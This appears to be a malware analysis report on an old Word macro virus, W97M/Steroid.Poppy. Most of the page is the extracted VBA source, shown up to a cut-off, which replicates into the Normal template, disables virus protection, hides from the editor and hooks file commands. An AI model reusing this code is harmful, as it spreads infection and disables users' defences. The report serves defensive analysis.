Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a7258c1cbfc8cb45…

MALICIOUS

Office (OLE)

86.5 KB Created: 1998-02-19 01:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: eb0d8605db2720694fe89776f5121f70 SHA-1: a823abc823f14381b7c66cead7fac4f5fea011cc SHA-256: a7258c1cbfc8cb4560aaa91aa57f710d2427ad52dbbbaf4c998129e213f9250b
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros with AutoOpen and Auto_Close functions, along with a critical Shell() call, strongly suggesting malicious intent. The script attempts to delete startup logs and organizer items, and conditionally calls external executables like 'c:\start.scr' or 'c:\Anadrol.bat', indicating it's designed to download and execute further malware. The ClamAV detections further support its malicious nature.

Heuristics 7

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 130016 bytes
SHA-256: e9fe50e38cc0e4bc2cf2c644108d81f8c721c5312b94e1a9c9d52422aca87d17
Detection
ClamAV: Doc.Trojan.Steroid-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Injekt"
    
Sub Steroid()
    
    ' Steroid.Poppy by VicodinES
    ' "Whats Up" to : Slage Hammer, Spanska and the entire _Kim_Liberation_Army_

Application.EnableCancelKey = wdCancelDisabled
On Error Resume Next
                                                                                                                                        If Application.ShowVisualBasicEditor = True Then Application.VBE.ActiveVBProject.VBComponents("Injekt").CodeModule.DeleteLines 1, 400
Do While (Application.ShowVisualBasicEditor = True)
Kill ("c:\startup.log")
Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:="Injekt", Object:=wdOrganizerObjectProjectItems
Application.OrganizerDelete Source:=ActiveDocument.FullName, Name:="Injekt", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ActiveDocument.Close
Dialogs(994).Show
SendKeys "%{F4}", True
SendKeys "%F", True
SendKeys "X", True
Dialogs(524).Show
Dialogs(85).Show
Dialogs(98).Show
Loop
Randomize
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
If Application.ShowVisualBasicEditor = True Then Application.VBE.ActiveVBProject.VBComponents("Injekt").CodeModule.DeleteLines 1, 400
ActiveDocument.ReadOnlyRecommended = False
Application.ScreenUpdating = False
Check = Int(Rnd * 422)
If Check = 3 And System.OperatingSystem = "Windows" Then Call Sustanon("c:\start.scr")
If Check = 3 And System.OperatingSystem = "Windows" Then Call Anadrol("c:\Anadrol.bat")
With Dialogs(wdDialogFileSummaryInfo)
.Author = "VicodinES"
.Execute
End With
Application.VBE.ActiveVBProject.VBComponents("Injekt").Export "c:\startup.log"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "Injekt" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Injekt" Then ActivInstall = True
Next I
If ActivInstall = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
End If
If NormInstall = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
End If
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
If NormalTemplate.Saved = False Then NormalTemplate.Save
End If
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
'VMPCK v2.0 Beta
Application.ScreenUpdating = True
fuckoff:
End Sub
Sub HelpAbout()
On Error Resume Next
MsgBox "Can I have a bottle of warm Diet Mountain Dew?", vbInformation, "VMPCK v2.0 Beta / SR-1 Compatable"
MsgBox "Shout Out! ...Slage Hammer, Spanska and the entire _Kim_Liberation_Army_", vbInformation, "W97M/Steroid.Poppy"
End Sub
Sub FileSave()
On Error Resume Next
ShowVisualBasicEditor = False
Call Steroid
Application.ScreenUpdating = False
ActiveDocument.Save
Application.ScreenUpdating = True
End Sub
Sub FileSaveAs()
On Error Resume Next
ShowVisualBasicEditor = False
Application.ScreenUpdating = False
Dialogs(wdDialogFileSaveAs).Show
Application.ScreenUpdating = True
Call Steroid
End Sub
Sub FilePrint()
On Error Resume Next
ShowVisualBasicEditor = False
Dialogs(wdDialogFilePrint).Show
Call Steroid
End Sub
Sub FileClose()
On Error Resume Next
ShowVisualBasicEditor = False
Call Steroid
Application.ScreenUpdating = False
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
ShowVisualBasicEditor = False
Call Caffeine
Application.Quit
End Sub
Sub AutoOpen()
On Error Resume Next
ShowVisualBasicEditor = False
... (truncated)